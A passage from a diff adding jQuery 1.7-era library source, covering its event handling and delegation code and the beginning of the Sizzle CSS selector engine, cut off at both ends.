!onlyHandlers && !event.isDefaultPrevented() ) { + + if ( (!special._default || special._default.apply( elem.ownerDocument, data ) === false) && + !(type === "click" && jQuery.nodeName( elem, "a" )) && jQuery.acceptData( elem ) ) { + + // Call a native DOM method on the target with the same name name as the event. + // Can't use an .isFunction() check here because IE6/7 fails that test. + // Don't do default actions on window, that's where global variables be (#6170) + // IE<9 dies on focus/blur to hidden element (#1486) + if ( ontype && elem[ type ] && ((type !== "focus" && type !== "blur") || event.target.offsetWidth !== 0) && !jQuery.isWindow( elem ) ) { + + // Don't re-trigger an onFOO event when we call its FOO() method + old = elem[ ontype ]; + + if ( old ) { + elem[ ontype ] = null; + } + + // Prevent re-triggering of the same event, since we already bubbled it above + jQuery.event.triggered = type; + elem[ type ](); + jQuery.event.triggered = undefined; + + if ( old ) { + elem[ ontype ] = old; + } + } + } + } + + return event.result; + }, + + dispatch: function( event ) { + + // Make a writable jQuery.Event from the native event object + event = jQuery.event.fix( event || window.event ); + + var handlers = ( (jQuery._data( this, "events" ) || {} )[ event.type ] || []), + delegateCount = handlers.delegateCount, + args = [].slice.call( arguments, 0 ), + run_all = !event.exclusive && !event.namespace, + handlerQueue = [], + i, j, cur, jqcur, ret, selMatch, matched, matches, handleObj, sel, related; + + // Use the fix-ed jQuery.Event rather than the (read-only) native event + args[0] = event; + event.delegateTarget = this; + + // Determine handlers that should run if there are delegated events + // Avoid disabled elements in IE (#6911) and non-left-click bubbling in Firefox (#3861) + if ( delegateCount && !event.target.disabled && !(event.button && event.type === "click") ) { + + // Pregenerate a single jQuery object for reuse with .is() + jqcur = jQuery(this); + jqcur.context = this.ownerDocument || this; + + for ( cur = event.target; cur != this; cur = cur.parentNode || this ) { + selMatch = {}; + matches = []; + jqcur[0] = cur; + for ( i = 0; i < delegateCount; i++ ) { + handleObj = handlers[ i ]; + sel = handleObj.selector; + + if ( selMatch[ sel ] === undefined ) { + selMatch[ sel ] = ( + handleObj.quick ? quickIs( cur, handleObj.quick ) : jqcur.is( sel ) + ); + } + if ( selMatch[ sel ] ) { + matches.push( handleObj ); + } + } + if ( matches.length ) { + handlerQueue.push({ elem: cur, matches: matches }); + } + } + } + + // Add the remaining (directly-bound) handlers + if ( handlers.length > delegateCount ) { + handlerQueue.push({ elem: this, matches: handlers.slice( delegateCount ) }); + } + + // Run delegates first; they may want to stop propagation beneath us + for ( i = 0; i < handlerQueue.length && !event.isPropagationStopped(); i++ ) { + matched = handlerQueue[ i ]; + event.currentTarget = matched.elem; + + for ( j = 0; j < matched.matches.length && !event.isImmediatePropagationStopped(); j++ ) { + handleObj = matched.matches[ j ]; + + // Triggered event must either 1) be non-exclusive and have no namespace, or + // 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace). + if ( run_all || (!event.namespace && !handleObj.namespace) || event.namespace_re && event.namespace_re.test( handleObj.namespace ) ) { + + event.data = handleObj.data; + event.handleObj = handleObj; + + ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler ) + .apply( matched.elem, args ); + + if ( ret !== undefined ) { + event.result = ret; + if ( ret === false ) { + event.preventDefault(); + event.stopPropagation(); + } + } + } + } + } + + return event.result; + }, + + // Includes some event props shared by KeyEvent and MouseEvent + // *** attrChange attrName relatedNode srcElement are not normalized, non-W3C, deprecated, will be removed in 1.8 *** + props: "attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "), + + fixHooks: {}, + + keyHooks: { + props: "char charCode key keyCode".split(" "), + filter: function( event, original ) { + + // Add which for key events + if ( event.which == null ) { + event.which = original.charCode != null ? original.charCode : original.keyCode; + } + + return event; + } + }, + + mouseHooks: { + props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "), + filter: function( event, original ) { + var eventDoc, doc, body, + button = original.button, + fromElement = original.fromElement; + + // Calculate pageX/Y if missing and clientX/Y available + if ( event.pageX == null && original.clientX != null ) { + eventDoc = event.target.ownerDocument || document; + doc = eventDoc.documentElement; + body = eventDoc.body; + + event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ); + event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ); + } + + // Add relatedTarget, if necessary + if ( !event.relatedTarget && fromElement ) { + event.relatedTarget = fromElement === event.target ? original.toElement : fromElement; + } + + // Add which for click: 1 === left; 2 === middle; 3 === right + // Note: button is not normalized, so don't use it + if ( !event.which && button !== undefined ) { + event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) ); + } + + return event; + } + }, + + fix: function( event ) { + if ( event[ jQuery.expando ] ) { + return event; + } + + // Create a writable copy of the event object and normalize some properties + var i, prop, + originalEvent = event, + fixHook = jQuery.event.fixHooks[ event.type ] || {}, + copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props; + + event = jQuery.Event( originalEvent ); + + for ( i = copy.length; i; ) { + prop = copy[ --i ]; + event[ prop ] = originalEvent[ prop ]; + } + + // Fix target property, if necessary (#1925, IE 6/7/8 & Safari2) + if ( !event.target ) { + event.target = originalEvent.srcElement || document; + } + + // Target should not be a text node (#504, Safari) + if ( event.target.nodeType === 3 ) { + event.target = event.target.parentNode; + } + + // For mouse/key events; add metaKey if it's not there (#3368, IE6/7/8) + if ( event.metaKey === undefined ) { + event.metaKey = event.ctrlKey; + } + + return fixHook.filter? fixHook.filter( event, originalEvent ) : event; + }, + + special: { + ready: { + // Make sure the ready event is setup + setup: jQuery.bindReady + }, + + load: { + // Prevent triggered image.load events from bubbling to window.load + noBubble: true + }, + + focus: { + delegateType: "focusin" + }, + blur: { + delegateType: "focusout" + }, + + beforeunload: { + setup: function( data, namespaces, eventHandle ) { + // We only want to do this special case on windows + if ( jQuery.isWindow( this ) ) { + this.onbeforeunload = eventHandle; + } + }, + + teardown: function( namespaces, eventHandle ) { + if ( this.onbeforeunload === eventHandle ) { + this.onbeforeunload = null; + } + } + } + }, + + simulate: function( type, elem, event, bubble ) { + // Piggyback on a donor event to simulate a different one. + // Fake originalEvent to avoid donor's stopPropagation, but if the + // simulated event prevents default then we do the same on the donor. + var e = jQuery.extend( + new jQuery.Event(), + event, + { type: type, + isSimulated: true, + originalEvent: {} + } + ); + if ( bubble ) { + jQuery.event.trigger( e, null, elem ); + } else { + jQuery.event.dispatch.call( elem, e ); + } + if ( e.isDefaultPrevented() ) { + event.preventDefault(); + } + } +}; + +// Some plugins are using, but it's undocumented/deprecated and will be removed. +// The 1.7 special event interface should provide all the hooks needed now. +jQuery.event.handle = jQuery.event.dispatch; + +jQuery.removeEvent = document.removeEventListener ? + function( elem, type, handle ) { + if ( elem.removeEventListener ) { + elem.removeEventListener( type, handle, false ); + } + } : + function( elem, type, handle ) { + if ( elem.detachEvent ) { + elem.detachEvent( "on" + type, handle ); + } + }; + +jQuery.Event = function( src, props ) { + // Allow instantiation without the 'new' keyword + if ( !(this instanceof jQuery.Event) ) { + return new jQuery.Event( src, props ); + } + + // Event object + if ( src && src.type ) { + this.originalEvent = src; + this.type = src.type; + + // Events bubbling up the document may have been marked as prevented + // by a handler lower down the tree; reflect the correct value. + this.isDefaultPrevented = ( src.defaultPrevented || src.returnValue === false || + src.getPreventDefault && src.getPreventDefault() ) ? returnTrue : returnFalse; + + // Event type + } else { + this.type = src; + } + + // Put explicitly provided properties onto the event object + if ( props ) { + jQuery.extend( this, props ); + } + + // Create a timestamp if incoming event doesn't have one + this.timeStamp = src && src.timeStamp || jQuery.now(); + + // Mark it as fixed + this[ jQuery.expando ] = true; +}; + +function returnFalse() { + return false; +} +function returnTrue() { + return true; +} + +// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding +// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html +jQuery.Event.prototype = { + preventDefault: function() { + this.isDefaultPrevented = returnTrue; + + var e = this.originalEvent; + if ( !e ) { + return; + } + + // if preventDefault exists run it on the original event + if ( e.preventDefault ) { + e.preventDefault(); + + // otherwise set the returnValue property of the original event to false (IE) + } else { + e.returnValue = false; + } + }, + stopPropagation: function() { + this.isPropagationStopped = returnTrue; + + var e = this.originalEvent; + if ( !e ) { + return; + } + // if stopPropagation exists run it on the original event + if ( e.stopPropagation ) { + e.stopPropagation(); + } + // otherwise set the cancelBubble property of the original event to true (IE) + e.cancelBubble = true; + }, + stopImmediatePropagation: function() { + this.isImmediatePropagationStopped = returnTrue; + this.stopPropagation(); + }, + isDefaultPrevented: returnFalse, + isPropagationStopped: returnFalse, + isImmediatePropagationStopped: returnFalse +}; + +// Create mouseenter/leave events using mouseover/out and event-time checks +jQuery.each({ + mouseenter: "mouseover", + mouseleave: "mouseout" +}, function( orig, fix ) { + jQuery.event.special[ orig ] = { + delegateType: fix, + bindType: fix, + + handle: function( event ) { + var target = this, + related = event.relatedTarget, + handleObj = event.handleObj, + selector = handleObj.selector, + ret; + + // For mousenter/leave call the handler if related is outside the target. + // NB: No relatedTarget if the mouse left/entered the browser window + if ( !related || (related !== target && !jQuery.contains( target, related )) ) { + event.type = handleObj.origType; + ret = handleObj.handler.apply( this, arguments ); + event.type = fix; + } + return ret; + } + }; +}); + +// IE submit delegation +if ( !jQuery.support.submitBubbles ) { + + jQuery.event.special.submit = { + setup: function() { + // Only need this for delegated form submit events + if ( jQuery.nodeName( this, "form" ) ) { + return false; + } + + // Lazy-add a submit handler when a descendant form may potentially be submitted + jQuery.event.add( this, "click._submit keypress._submit", function( e ) { + // Node name check avoids a VML-related crash in IE (#9807) + var elem = e.target, + form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined; + if ( form && !form._submit_attached ) { + jQuery.event.add( form, "submit._submit", function( event ) { + // If form was submitted by the user, bubble the event up the tree + if ( this.parentNode && !event.isTrigger ) { + jQuery.event.simulate( "submit", this.parentNode, event, true ); + } + }); + form._submit_attached = true; + } + }); + // return undefined since we don't need an event listener + }, + + teardown: function() { + // Only need this for delegated form submit events + if ( jQuery.nodeName( this, "form" ) ) { + return false; + } + + // Remove delegated handlers; cleanData eventually reaps submit handlers attached above + jQuery.event.remove( this, "._submit" ); + } + }; +} + +// IE change delegation and checkbox/radio fix +if ( !jQuery.support.changeBubbles ) { + + jQuery.event.special.change = { + + setup: function() { + + if ( rformElems.test( this.nodeName ) ) { + // IE doesn't fire change on a check/radio until blur; trigger it on click + // after a propertychange. Eat the blur-change in special.change.handle. + // This still fires onchange a second time for check/radio after blur. + if ( this.type === "checkbox" || this.type === "radio" ) { + jQuery.event.add( this, "propertychange._change", function( event ) { + if ( event.originalEvent.propertyName === "checked" ) { + this._just_changed = true; + } + }); + jQuery.event.add( this, "click._change", function( event ) { + if ( this._just_changed && !event.isTrigger ) { + this._just_changed = false; + jQuery.event.simulate( "change", this, event, true ); + } + }); + } + return false; + } + // Delegated event; lazy-add a change handler on descendant inputs + jQuery.event.add( this, "beforeactivate._change", function( e ) { + var elem = e.target; + + if ( rformElems.test( elem.nodeName ) && !elem._change_attached ) { + jQuery.event.add( elem, "change._change", function( event ) { + if ( this.parentNode && !event.isSimulated && !event.isTrigger ) { + jQuery.event.simulate( "change", this.parentNode, event, true ); + } + }); + elem._change_attached = true; + } + }); + }, + + handle: function( event ) { + var elem = event.target; + + // Swallow native change events from checkbox/radio, we already triggered them above + if ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox") ) { + return event.handleObj.handler.apply( this, arguments ); + } + }, + + teardown: function() { + jQuery.event.remove( this, "._change" ); + + return rformElems.test( this.nodeName ); + } + }; +} + +// Create "bubbling" focus and blur events +if ( !jQuery.support.focusinBubbles ) { + jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { + + // Attach a single capturing handler while someone wants focusin/focusout + var attaches = 0, + handler = function( event ) { + jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true ); + }; + + jQuery.event.special[ fix ] = { + setup: function() { + if ( attaches++ === 0 ) { + document.addEventListener( orig, handler, true ); + } + }, + teardown: function() { + if ( --attaches === 0 ) { + document.removeEventListener( orig, handler, true ); + } + } + }; + }); +} + +jQuery.fn.extend({ + + on: function( types, selector, data, fn, /*INTERNAL*/ one ) { + var origFn, type; + + // Types can be a map of types/handlers + if ( typeof types === "object" ) { + // ( types-Object, selector, data ) + if ( typeof selector !== "string" ) { + // ( types-Object, data ) + data = selector; + selector = undefined; + } + for ( type in types ) { + this.on( type, selector, data, types[ type ], one ); + } + return this; + } + + if ( data == null && fn == null ) { + // ( types, fn ) + fn = selector; + data = selector = undefined; + } else if ( fn == null ) { + if ( typeof selector === "string" ) { + // ( types, selector, fn ) + fn = data; + data = undefined; + } else { + // ( types, data, fn ) + fn = data; + data = selector; + selector = undefined; + } + } + if ( fn === false ) { + fn = returnFalse; + } else if ( !fn ) { + return this; + } + + if ( one === 1 ) { + origFn = fn; + fn = function( event ) { + // Can use an empty set, since event contains the info + jQuery().off( event ); + return origFn.apply( this, arguments ); + }; + // Use same guid so caller can remove using origFn + fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); + } + return this.each( function() { + jQuery.event.add( this, types, fn, data, selector ); + }); + }, + one: function( types, selector, data, fn ) { + return this.on.call( this, types, selector, data, fn, 1 ); + }, + off: function( types, selector, fn ) { + if ( types && types.preventDefault && types.handleObj ) { + // ( event ) dispatched jQuery.Event + var handleObj = types.handleObj; + jQuery( types.delegateTarget ).off( + handleObj.namespace? handleObj.type + "." + handleObj.namespace : handleObj.type, + handleObj.selector, + handleObj.handler + ); + return this; + } + if ( typeof types === "object" ) { + // ( types-object [, selector] ) + for ( var type in types ) { + this.off( type, selector, types[ type ] ); + } + return this; + } + if ( selector === false || typeof selector === "function" ) { + // ( types [, fn] ) + fn = selector; + selector = undefined; + } + if ( fn === false ) { + fn = returnFalse; + } + return this.each(function() { + jQuery.event.remove( this, types, fn, selector ); + }); + }, + + bind: function( types, data, fn ) { + return this.on( types, null, data, fn ); + }, + unbind: function( types, fn ) { + return this.off( types, null, fn ); + }, + + live: function( types, data, fn ) { + jQuery( this.context ).on( types, this.selector, data, fn ); + return this; + }, + die: function( types, fn ) { + jQuery( this.context ).off( types, this.selector || "**", fn ); + return this; + }, + + delegate: function( selector, types, data, fn ) { + return this.on( types, selector, data, fn ); + }, + undelegate: function( selector, types, fn ) { + // ( namespace ) or ( selector, types [, fn] ) + return arguments.length == 1? this.off( selector, "**" ) : this.off( types, selector, fn ); + }, + + trigger: function( type, data ) { + return this.each(function() { + jQuery.event.trigger( type, data, this ); + }); + }, + triggerHandler: function( type, data ) { + if ( this[0] ) { + return jQuery.event.trigger( type, data, this[0], true ); + } + }, + + toggle: function( fn ) { + // Save reference to arguments for access in closure + var args = arguments, + guid = fn.guid || jQuery.guid++, + i = 0, + toggler = function( event ) { + // Figure out which function to execute + var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i; + jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 ); + + // Make sure that clicks stop + event.preventDefault(); + + // and execute the function + return args[ lastToggle ].apply( this, arguments ) || false; + }; + + // link all the functions, so any of them can unbind this click handler + toggler.guid = guid; + while ( i < args.length ) { + args[ i++ ].guid = guid; + } + + return this.click( toggler ); + }, + + hover: function( fnOver, fnOut ) { + return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); + } +}); + +jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " + + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + + "change select submit keydown keypress keyup error contextmenu").split(" "), function( i, name ) { + + // Handle event binding + jQuery.fn[ name ] = function( data, fn ) { + if ( fn == null ) { + fn = data; + data = null; + } + + return arguments.length > 0 ? + this.on( name, null, data, fn ) : + this.trigger( name ); + }; + + if ( jQuery.attrFn ) { + jQuery.attrFn[ name ] = true; + } + + if ( rkeyEvent.test( name ) ) { + jQuery.event.fixHooks[ name ] = jQuery.event.keyHooks; + } + + if ( rmouseEvent.test( name ) ) { + jQuery.event.fixHooks[ name ] = jQuery.event.mouseHooks; + } +}); + + + +/*! + * Sizzle CSS Selector Engine + * Copyright 2011, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * More information: http://sizzlejs.com/ + */ +(function(){ + +var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, + expando = "sizcache" + (Math.random() + '').replace('.', ''), + done = 0, + toString = Object.prototype.toString, + hasDuplicate = false, + baseHasDuplicate = true, + rBackslash = /\\/g, + rReturn = /\r\n/g, + rNonWord = /\W/; + +// Here we check if the JavaScript engine is using some sort of +// optimization where it does not always call our comparision +// function. If that is the case, discard the hasDuplicate value. +// Thus far that includes Google Chrome. +[0, 0].sort(function() { + baseHasDuplicate = false; + return 0; +}); + +var Sizzle = function( selector, context, results, seed ) { + results = results || []; + context = context || document; + + var origContext = context; + + if ( context.nodeType !== 1 && context.nodeType !== 9 ) { + return []; + } + + if ( !selector || typeof selector !== "string" ) { + return results; + } + + var m, set, checkSet, extra, ret, cur, pop, i, + prune = true, + contextXML = Sizzle.isXML( context ), + parts = [], + soFar = selector; + + // Reset the position of the chunker regexp (start from head) + do { + chunker.exec( "" ); + m = chunker.exec( soFar ); + + if ( m ) { + soFar = m[3]; + + parts.push( m[1] ); + + if ( m[2] ) { + extra = m[3]; + break; + } + } + } while ( m ); + + if ( parts.length > 1 && origPOS.exec( selector ) ) { + + if ( parts.length === 2 && Expr.relative[ parts[0] ] ) { + set = posProcess( parts[0] + parts[1], context, seed ); + + } else { + set = Expr.relative[ parts[0] ] ? + [ context ] : + Sizzle( parts.shift(), context ); + + while ( parts.length ) { + selector = parts.shift(); + + if ( Expr.relative[ selector ] ) { + selector += parts.shift(); + } + + set = posProcess( selector, set, seed ); + } + } + + } else { + // Take a shortcut and set the context if the root selector is an ID + // (but not if it'll be faster if the inner selector is an ID) + if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML && + Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) { + + ret = Sizzle.find( parts.shift(), context, contextXML ); + context = ret.expr ? + Sizzle.filter( ret.expr, ret.set )[0] : + ret.set[0]; + } + + if ( context ) { + ret = seed ? + { expr: parts.pop(), set: makeArray(seed) } : + Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML ); + + set = ret.expr ? + Sizzle.filter( ret.expr, ret.set ) : + ret.set; + + if ( parts.length > 0 ) { + checkSet = makeArray( set ); + + } else { + prune = false; + } + + while ( parts.length ) { + cur = parts.pop(); + pop = cur; + + if ( !Expr.relative[ cur ] ) { + cur = ""; + } else { + pop = parts.pop(); + } + + if ( pop == null ) { + pop = context; + } + + Expr.relative[ cur ]( checkSet, pop, contextXML ); + } + + } else { + checkSet = parts = []; + } + } + + if ( !checkSet ) { + checkSet = set; + } + + if ( !checkSet ) { + Sizzle.error( cur || selector ); + } + + if ( toString.call(checkSet) === "[object Array]" ) { + if ( !prune ) { + results.push.apply( results, checkSet ); + + } else if ( context && context.nodeType === 1 ) { + for ( i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) { + results.push( set[i] ); + } + } + + } else { + for ( i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && checkSet[i].nodeType === 1 ) { + results.push( set[i] ); + } + } + } + + } else { + makeArray( checkSet, results ); + } + + if ( extra ) { + Sizzle( extra, origContext, results, seed ); + Sizzle.uniqueSort( results ); + } + + return results; +}; + +Sizzle.uniqueSort = function( results ) { + if ( sortOrder ) { + hasDuplicate = baseHasDuplicate; + results.sort( sortOrder ); + + if ( hasDuplicate ) { + for ( var i = 1; i < results.length; i++ ) { + if ( results[i] === results[ i - 1 ] ) { + results.splice( i--, 1 ); + } + } + } + } + + return results; +}; + +Sizzle.matches = function( expr, set ) { + return Sizzle( expr, null, null, set ); +}; + +Sizzle.matchesSelector = function( node, expr ) { + return Sizzle( expr, null, null, [node] ).length > 0; +}; + +Sizzle.find = function( expr, context, isXML ) { + var set, i, len, match, type, left; + + if ( !expr ) { + return []; + } + + for ( i = 0, len = Expr.order.length; i < len; i++ ) { + type = Expr.order[i]; + + if ( (match = Expr.leftMatch[ type ].exec( expr )) ) { + left = match[1]; + match.splice( 1, 1 ); + + if ( left.substr( left.length - 1 ) !== "\\" ) { + match[1] = (match[1] || "").replace( rBackslash, "" ); + set = Expr.find[ type ]( match, context, isXML ); + + if ( set != null ) { + expr = expr.replace( Expr.match[ type ], "" ); + break; + } + } + } + } + + if ( !set ) { + set = typeof context.getElementsByTagName !== "undefined" ? + context.getElementsByTagName( "*" ) : + []; + } + + return { set: set, expr: expr }; +}; + +Sizzle.filter = function( expr, set, inplace, not ) { + var match, anyFound, + type, found, item, filter, left, + i, pass, + old = expr, + result = [], + curLoop = set, + isXMLFilter = set && set[0] && Sizzle.isXML( set[0] ); + + while ( expr && set.length ) { + for ( type in Expr.filter ) { + if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) { + filter = Expr.filter[ type ]; + left = match[1]; + + anyFound = false; + + match.splice(1,1); + + if ( left.substr( left.length - 1 ) === "\\" ) { + continue; + } + + if ( curLoop === result ) { + result = []; + } + + if ( Expr.preFilter[ type ] ) { + match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter ); + + if ( !match ) { + anyFound = found = true; + + } else if ( match === true ) { + continue; + } + } + + if ( match ) { + for ( i = 0; (item = curLoop[i]) != null; i++ ) { + if ( item ) { + found = filter( item, match, i, curLoop ); + pass = not ^ found; + + if ( inplace && found != null ) { + if ( pass ) { + anyFound = true; + + } else { + curLoop[i] = false; + } + + } else if ( pass ) { + result.push( item ); + anyFound = true; + } + } + } + } + + if ( found !== undefined ) { + if ( !inplace ) { + curLoop = result; + } + + expr = expr.replace( Expr.match[ type ], "" ); + + if ( !anyFound ) { + return []; + } + + break; + } + } + } + + // Improper expression + if ( expr === old ) { + if ( anyFound == null ) { + Sizzle.error( expr ); + + } else { + break; + } + } + + old = expr; + } + + return curLoop; +}; + +Sizzle.error = function( msg ) { + throw new Error( "Syntax error, unrecognized expression: " + msg ); +}; + +/** + * Utility function for retreiving the text value of an array of DOM nodes + * @param {Array|Element} elem + */ +var getText = Sizzle.getText = function( elem ) { + var i, node, + nodeType = elem.nodeType, + ret = ""; + + if ( nodeType ) { + if ( nodeType === 1 || nodeType === 9 ) { + // Use textContent || innerText for elements + if ( typeof elem.textContent === 'string' ) { + return elem.textContent; + } else if ( typeof elem.innerText === 'string' ) { + // Replace IE's carriage returns + return elem.innerText.replace( rReturn, '' ); + } else { + // Traverse it's children + for ( elem = elem.firstChild; elem; elem = elem.nextSibling) { + ret += getText( elem ); + } + } + } else if ( nodeType === 3 || nodeType === 4 ) { + return elem.nodeValue; + } + } else { + + // If no nodeType, this is expected to be an array + for ( i = 0; (node = elem[i]); i++ ) { + // Do not traverse comment nodes + if ( node.nodeType !== 8 ) { + ret += getText( node ); + } + } + } + return ret; +}; + +var Expr = Sizzle.selectors = { + order: [ "ID", "NAME", "TAG" ], + + match: { + ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, + CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, + NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/, + ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/, + TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/, + CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/, + POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/, + PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/ + }, + + leftMatch: {}, + + attrMap: { + "class": "className", + "for": "htmlFor" + }, + + attrHandle: { + href: function( elem ) { + return elem.getAttribute( "href" ); + }, + type: function( elem ) { + return elem.getAttribute( "type" ); + } + }, + + relative: { + "+": function(checkSet, part){ + var isPartStr = typeof part === "string", + isTag = isPartStr && !rNonWord.test( part ), + isPartStrNotTag = isPartStr && !isTag; + + if ( isTag ) { + part = part.toLowerCase(); + } + + for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) { + if ( (elem = checkSet[i]) ) { + while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {} + + checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ? + elem || false : + elem === part; + } + } + + if ( isPartStrNotTag ) { + Sizzle.filter( part, checkSet, true ); + } + }, + + ">": function( checkSet, part ) { + var elem, + isPartStr = typeof part === "string", + i = 0, + l = checkSet.length; + + if ( isPartStr && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + + for ( ; i < l; i++ ) { + elem = checkSet[i]; + + if ( elem ) { + var parent = elem.parentNode; + checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false; + } + } + + } else { + for ( ; i < l; i++ ) { + elem = checkSet[i]; + + if ( elem ) { + checkSet[i] = isPartStr ? + elem.parentNode : + elem.parentNode === part; + } + } + + if ( isPartStr ) { + Sizzle.filter( part, checkSet, true ); + } + } + }, + + "": function(checkSet, part, isXML){ + var nodeCheck, + doneName = done++, + checkFn = dirCheck; + + if ( typeof part === "string" && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + nodeCheck = part; + checkFn = dirNodeCheck; + } + + checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML ); + }, + + "~": function( checkSet, part, isXML ) { + var nodeCheck, + doneName = done++, + checkFn = dirCheck; + + if ( typeof part === "string" && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + nodeCheck = part; + checkFn = dirNodeCheck; + } + + checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML ); + } + }, + + find: { + ID: function( match, context, isXML ) { + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + return m && m.parentNode ? [m] : []; + } + }, + + NAME: function( match, context ) { + if ( typeof context.getElementsByName !== "undefined" ) { + var ret = [], + results = context.getElementsByName( match[1] ); + + for ( var i = 0, l = results.length; i < l; i++ ) { + if ( results[i].getAttribute("name") === match[1] ) { + ret.push( results[i] ); + } + } + + return ret.length === 0 ? null : ret; + } + }, + + TAG: function( match, context ) { + if ( typeof context.getElementsByTagName !== "undefined" ) { + return context.getElementsByTagName( match[1] ); + } + } + }, + preFilter: { + CLASS: function( match, curLoop, inplace, result, not, isXML ) { + match = " " + match[1].replace( rBackslash, "" ) + " "; + + if ( isXML ) { + return match; + } + + for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) { + if ( elem ) { + if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) { + if ( !inplace ) { + result.push( elem ); + } + + } else if ( inplace ) { + curLoop[i] = false; + } + } + } + + return false; + }, + + ID: function( match ) { + return match[1].replace( rBackslash, "" ); + }, + + TAG: function( match, curLoop ) { + return match[1].replace( rBackslash, "" ).toLowerCase(); + }, + + CHILD: function( match ) { + if ( match[1] === "nth" ) { + if ( !match[2] ) { + Sizzle.error( match[0] ); + } + + match[2] = match[2].replace(/^\+|\s*/g, ''); + + // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6' + var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec( + match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" || + !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]); + + // calculate the numbers (first)n+(last) including if they are negative + match[2] = (test[1] + (test[2] || 1)) - 0; + match[3] = test[3] - 0; + } + else if ( match[2] ) { + Sizzle.error( match[0] ); + } + + // TODO: Move to normal caching system + match[0] = done++; + + return match; + }, + + ATTR: function( match, curLoop, inplace, result, not, isXML ) { + var name = match[1] = match[1].replace( rBackslash, "" ); + + if ( !isXML && Expr.attrMap[name] ) { + match[1] = Expr.attrMap[name]; + } + + // Handle if an un-quoted value was used + match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" ); + + if ( match[2] === "~=" ) { + match[4] = " " + match[4] + " "; + } + + return match; + }, + + PSEUDO: function( match, curLoop, inplace, result, not ) { + if ( match[1] === "not" ) { + // If we're dealing with a complex expression, or a simple one + if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) { + match[3] = Sizzle(match[3], null, null, curLoop); + + } else { + var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not); + + if ( !inplace ) { + result.push.apply( result, ret ); + } + + return false; + } + + } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) { + return true; + } + + return match; + }, + + POS: function( match ) { + match.unshift( true ); + + return match; + } + }, + + filters: { + enabled: function( elem ) { + return elem.disabled === false && elem.type !== "hidden"; + }, + + disabled: function( elem ) { + return 